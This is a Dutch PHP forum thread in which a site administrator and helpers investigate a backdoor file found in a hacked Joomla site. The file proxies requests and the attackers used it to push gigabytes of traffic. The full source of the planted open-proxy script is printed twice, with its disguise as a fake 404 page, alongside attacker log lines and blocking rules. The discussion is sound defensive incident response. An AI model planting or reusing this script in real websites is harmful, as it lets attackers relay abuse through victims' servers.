website stilgelegt door veel verkeer op remote.php
Mijn naam is Michel en voor het eerst op dit forum, ben ook zeker een beginneling op het gebied van PHP.
Mijn vraag is als volgt,
Mijn host heeft een site welke ik beheer (probeer,) tijdelijk uit de lucht gehaald omdat hij denkt dat het gehackt is.
Hij geeft aan in een bericht dat er extreem veel dataverkeer werd gegenereerd. Als ik mijn log op de server bekijk zie ik dat er veel gebeurd via een Frans IP adres zie hieronder.
France PAGES 601,395 HITS 601,395 BANDWIDTH 27.93 GB 17 Nov 2016 - 00:13
France PAGES 889 HITS 889 BANDWIDTH 33.70 MB 16 Nov 2016 - 23:00
Dit alles volgens mij via onderstaand PHP file,
Dynamic PHP Script file, HITS 603,315 PRECENT 99.7 % / BANDWIDTH 27.97 GB PRECENT 99.9 %
/modules/mod_stat/remote.php VIEWED 602,284 AVARAGE SIZE 48.68 KB ENTRY 109 EXTIS 108
Is er iemand die mij wat meer kan vertellen wat hier gebeurt?
En is het één IP die het bestand opvraagt? Blokkeer deze dan in .htaccess.
Maar de werking is het belangrijkst. Het kán misschien zijn dat je een bron bent van malware, phishing of spamming. Dat is nu nog lastig te zeggen zonder uitleg.
Gewijzigd op 17/11/2016 22:28:38 door - Ariën -
Ik weet eigenlijk niet waar hij voor dient, ik probeer het te ontcijferen :).
Het zijn twee IP adressen welke veel data genereren, 1 ervan staat (zie ik via Google) op een blacklist.
Ik zou eerst de IP's blokkeren, en uitzoeken wat het script precies is. Is het een groot script? Of valt het nog wel mee met +/- 50 lijnen? Dan mag je de code ervan ook wel laten zien, zodat wij er een blik op kunnen nemen. Maar de access-log's zijn wel van groot belang. Deze staat vaak buiten je public_html of zichtbaar in je control-panel van je hosting.
- Is het bestand op dezelfde datum aangemaakt als de rest van de bestanden in die map?
- Kun je (een stukje) code plaatsen die in dat bestand staat?
Voor nu ... hernoem het bestand even naar iets anders, bijv. remoteX.php
Zo niet, dan zal hernoemen/verwijderen slechts een tijdelijk effect hebben op de problemen.
Dan is er iemand die toegang heeft tot je account.
Als je de code hier plaatst kunnen wij denk ik ook wel zien of je die zelf geplaatst hebt of niet. :)
Ik zie dit helaas bij ons (Nitroserve hosting) veel voorbij komen.
Gebruik je een CMS pakket (Wordpress, Joomla, Drupal, etc.)?
Gewijzigd op 18/11/2016 10:40:39 door Sander van t Hullenaar
Antwoord op Ariën: ik ga even zoeken naar de acces logs, De 2 IP's heb ik nu geblokkeerd. Het script is toegevoegd zie onder.
Antwoord op Ozzie: zie code hieronder
Antwoord op Sander: Nee ik heb de code niet gemaakt ik heb het beheer overgenomen de website bestond al lange tijd. de code staat hieronder bijgevoegd. De website is gemaakt met Joomla, de meeste recente update geïnstalleerd.
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(E_ERROR);
ini_set("display_errors", 0);
if (!isset($_POST['url']) && !isset($_POST['timeout'])) {header('HTTP/1.1 404 Not Found');echo '<title>404 - File Not Found</title><h1>404 - File Not Found</h1>';exit;}
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($_REQUEST['iface'])) curl_setopt($ch, CURLOPT_INTERFACE, $_REQUEST['iface']);
if (isset($_POST['proxy'])) {curl_setopt($ch, CURLOPT_PROXY, $_POST['proxy']); curl_setopt($ch, CURLOPT_PROXYTYPE, ($_POST['proxy'])?CURLPROXY_HTTP:CURLPROXY_SOCKS5);}
curl_setopt($ch, CURLOPT_TIMEOUT, $_POST['timeout']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
echo curl_redir_exec($ch);
function curl_redir_exec($ch){
static $curl_loops = 0;
static $curl_max_loops = 20;
if ($curl_loops >= $curl_max_loops) {
$curl_loops = 0;
return FALSE;
}
curl_setopt($ch, CURLOPT_HEADER, true);
$data = curl_exec($ch);
@list($header, $data) = explode("\r\n\r\n", $data, 2);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 301 || $http_code == 302) {
$matches = array();
preg_match('/Location:(.*?)\n/', $header, $matches);
$url = @parse_url(trim(array_pop($matches)));
if (!$url){
$curl_loops = 0;
return $data;
}
$last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];
if (!$url['host']) $url['host'] = $last_url['host'];
if (!$url['path']) $url['path'] = $last_url['path'];
$new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
curl_setopt($ch, CURLOPT_URL, $new_url);
return curl_redir_exec($ch);
}else{
$curl_loops=0;
return $data;
}
}
?>
error_reporting(E_ERROR);
ini_set("display_errors", 0);
if (!isset($_POST['url']) && !isset($_POST['timeout'])) {header('HTTP/1.1 404 Not Found');echo '<title>404 - File Not Found</title><h1>404 - File Not Found</h1>';exit;}
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($_REQUEST['iface'])) curl_setopt($ch, CURLOPT_INTERFACE, $_REQUEST['iface']);
if (isset($_POST['proxy'])) {curl_setopt($ch, CURLOPT_PROXY, $_POST['proxy']); curl_setopt($ch, CURLOPT_PROXYTYPE, ($_POST['proxy'])?CURLPROXY_HTTP:CURLPROXY_SOCKS5);}
curl_setopt($ch, CURLOPT_TIMEOUT, $_POST['timeout']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
echo curl_redir_exec($ch);
function curl_redir_exec($ch){
static $curl_loops = 0;
static $curl_max_loops = 20;
if ($curl_loops >= $curl_max_loops) {
$curl_loops = 0;
return FALSE;
}
curl_setopt($ch, CURLOPT_HEADER, true);
$data = curl_exec($ch);
@list($header, $data) = explode("\r\n\r\n", $data, 2);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 301 || $http_code == 302) {
$matches = array();
preg_match('/Location:(.*?)\n/', $header, $matches);
$url = @parse_url(trim(array_pop($matches)));
if (!$url){
$curl_loops = 0;
return $data;
}
$last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];
if (!$url['host']) $url['host'] = $last_url['host'];
if (!$url['path']) $url['path'] = $last_url['path'];
$new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
curl_setopt($ch, CURLOPT_URL, $new_url);
return curl_redir_exec($ch);
}else{
$curl_loops=0;
return $data;
}
}
?>
Toevoeging op 18/11/2016 14:15:49:
Ik heb in de htacces de volgende code gemaakt, dit om ip's te blokkeren.
Toch is er vandaag via de ip's verbinding geweest.
Options -Indexes
order allow,deny
deny from 91.121.106.94
deny from 176.31.246.38
allow from all
Het is een proxy-script die websites oproept. Mogelijk voor malafide praktijken, zodat jij verantwoordelijk kan zijn.
Toevoeging op 18/11/2016 14:22:07:
En hoe heet je bestand?
Hopelijk toch wel .htaccess met een punt, dubbel 'c' en dubbel 's'?
Test het eens met je eigen IP anders uit, of het werkt.
- Ariën - op 18/11/2016 14:17:45:
Ik heb zelf geen Joomla, maar is dit script wel van Joomla? En wanneer is het aangemaakt?
Het is een proxy-script die websites oproept. Mogelijk voor malafide praktijken, zodat jij verantwoordelijk kan zijn.
Toevoeging op 18/11/2016 14:22:07:
En hoe heet je bestand?
Hopelijk toch wel .htaccess met een punt, dubbel 'c' en dubbel 's'?
Test het eens met je eigen IP anders uit, of het werkt.
Het is een proxy-script die websites oproept. Mogelijk voor malafide praktijken, zodat jij verantwoordelijk kan zijn.
Toevoeging op 18/11/2016 14:22:07:
En hoe heet je bestand?
Hopelijk toch wel .htaccess met een punt, dubbel 'c' en dubbel 's'?
Test het eens met je eigen IP anders uit, of het werkt.
Hoi Ariën,
Het is htaccess die punt kan ik zo even niet zien
Dat er iets niet goed zit is duidelijk, we hebben de website weer uit de lucht gehaald. Er zijn in Joomla een aantal gebruikers aangemaakt welke admin of super rechten hebben.
Ik ben nog opzoek of dit bestand wel bij Joomla hoort. Alle bestanden in de mod_stat map van Joomla zijn laatst gewijzigd op 18-10-2016.Wanneer het aangemaakt is kan ik verder niet zien.
Om welke Joomla gaat het nu die je nu hebt?
- Ariën - op 18/11/2016 15:10:02:
Ik zou de site eerst maar even sluiten, en Joomla van de laatste patches voorzien. Ik heb vorige maand nog geschreven over een lek in Joomla, welke inderdaad kan zorgen voor registraties met verhoogde rechten.
Om welke Joomla gaat het nu die je nu hebt?
Om welke Joomla gaat het nu die je nu hebt?
Site is nu offline de Joomla versie met welke ik geüpdatet heb is versie 3.6.2.
Hier een klein stukje log dit gaat 100+ regels door,
2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) 7.15 K IIS-toegang
2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 7.15 K
IIS-toegang
2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 7.15 K IIS-toegang
2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 7.15 K IIS-toegang
2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 25.8 K IIS-toegang
2016-11-18 08:01:04 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 33.5 K IIS-toegang
2016-11-18 08:01:04 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 116 K IIS-toegang
2016-11-18 08:01:04 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 63.3 K IIS-toegang
2016-11-18 08:01:06 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 25.7 K IIS-toegang
2016-11-18 08:01:07 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 57.9 K IIS-toegang
2016-11-18 08:01:08 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1
Klinkt alsof de boel gehackt is. In dat geval kun je beter de hele server opnieuw installeren vrees ik.
Die code is wellicht een proxy waardoor anderen jouw server gebruiken om dingen te doen die illegaal zijn. Gezien het aantal GB aan traffic zou het kunnen dat je server is gebruikt om mediabestanden (bijv. films) te downloaden. Dat loopt dan via het ip-adres van jouw server.
Dan kom je misschien meer te weten.
Het is dus waarschijnlijk een proxy script zoals gezegd. Wat je ook kunt doen, is het bestand zodanig veranderen, dat je te weten kunt komen van welke bronnen het script gegevens ophaalt en doorgeeft.
Of maakt het bestand leeg, stuurt 404 (nnot found) responses voor een tijdje en hoopt dan dat de request-zender (franse IP's) stoppen met jou te gebruiken als doorgeefluik, omdat ze misschien gaan denken dat het niet meer werkt.
(Net zoals niet reageren op spam mails)
Gewoon de POST-requests even gezellig loggen dus, en voor de rest een dummy-tekst tonen.
Als je het toch verwijderd, dan krijgen ze toch een 404.
Maar ik zou sowieso op safe spelen en de boel laten herinstalleren.
Gewijzigd op 18/11/2016 17:49:21 door - Ariën -
ini_set("display_errors", 0);
eens het volgende (zonder de php-tags die op de eerste en laatste regel staan!):
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$post = '';
foreach ($_POST as $key => $value) {
$post .= '* ' . $key . ' * ' . $value . PHP_EOL;
}
mail('[email protected]', 'Server', $post);
}
exit;
?>
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$post = '';
foreach ($_POST as $key => $value) {
$post .= '* ' . $key . ' * ' . $value . PHP_EOL;
}
mail('[email protected]', 'Server', $post);
}
exit;
?>
Even [email protected] vervangen door je echte mailadres.
Als er nu naar het bestand gepost wordt, ontvang jij een mail en kun je zien wat er gepost wordt en welke URLs of bestanden ze proberen op te vragen. In alle gevallen wordt het script gestopt (door exit) dus verder gebeurt er niks, maar nu kun je in ieder geval zien wat ze proberen te doen.
Laat het ons hier ook even weten!
Gewijzigd op 18/11/2016 18:11:00 door Ozzie PHP
Ozzie PHP op 18/11/2016 18:07:40:
Zet op de 3e regel na deze regel
ini_set("display_errors", 0);
eens het volgende (zonder de php-tags die op de eerste en laatste regel staan!):
Even [email protected] vervangen door je echte mailadres.
Als er nu naar het bestand gepost wordt, ontvang jij een mail en kun je zien wat er gepost wordt en welke URLs of bestanden ze proberen op te vragen. In alle gevallen wordt het script gestopt (door exit) dus verder gebeurt er niks, maar nu kun je in ieder geval zien wat ze proberen te doen.
Laat het ons hier ook even weten!
ini_set("display_errors", 0);
eens het volgende (zonder de php-tags die op de eerste en laatste regel staan!):
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$post = '';
foreach ($_POST as $key => $value) {
$post .= '* ' . $key . ' * ' . $value . PHP_EOL;
}
mail('[email protected]', 'Server', $post);
}
exit;
?>
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$post = '';
foreach ($_POST as $key => $value) {
$post .= '* ' . $key . ' * ' . $value . PHP_EOL;
}
mail('[email protected]', 'Server', $post);
}
exit;
?>
Even [email protected] vervangen door je echte mailadres.
Als er nu naar het bestand gepost wordt, ontvang jij een mail en kun je zien wat er gepost wordt en welke URLs of bestanden ze proberen op te vragen. In alle gevallen wordt het script gestopt (door exit) dus verder gebeurt er niks, maar nu kun je in ieder geval zien wat ze proberen te doen.
Laat het ons hier ook even weten!
Ozzie,
Ik zou wel willen proberen, maar mijn host zet de site niet meer online in opdracht van de site eigenaar, dus kan ook vanaf vanmiddag niets meer testen.
- Ariën - op 18/11/2016 19:07:22:
Wanneer wil de hosting de website weer vrijgeven dan? Je zult toch eerst moeten kijken of het probleem opgelost is. Het feit dat er nu actie op ondernomen wordt, lijkt mij toch een reden dat de hosting de boel weer vrij moet geven.
De Host en de eigenaar van de website hebben in samenspraak besloten de oude website niet meer online te zetten, zij vinden het risico te groot.
Ik heb hierop weer vanavond de eigenaar van de website gesproken.
Hij heeft mij te kennen gegeven dat er een nieuwe website voor hem gebouwd moet worden, zolang deze niet gereed is zal er geen website draaien van hem.
Dus al met al werk aan de winkel ;)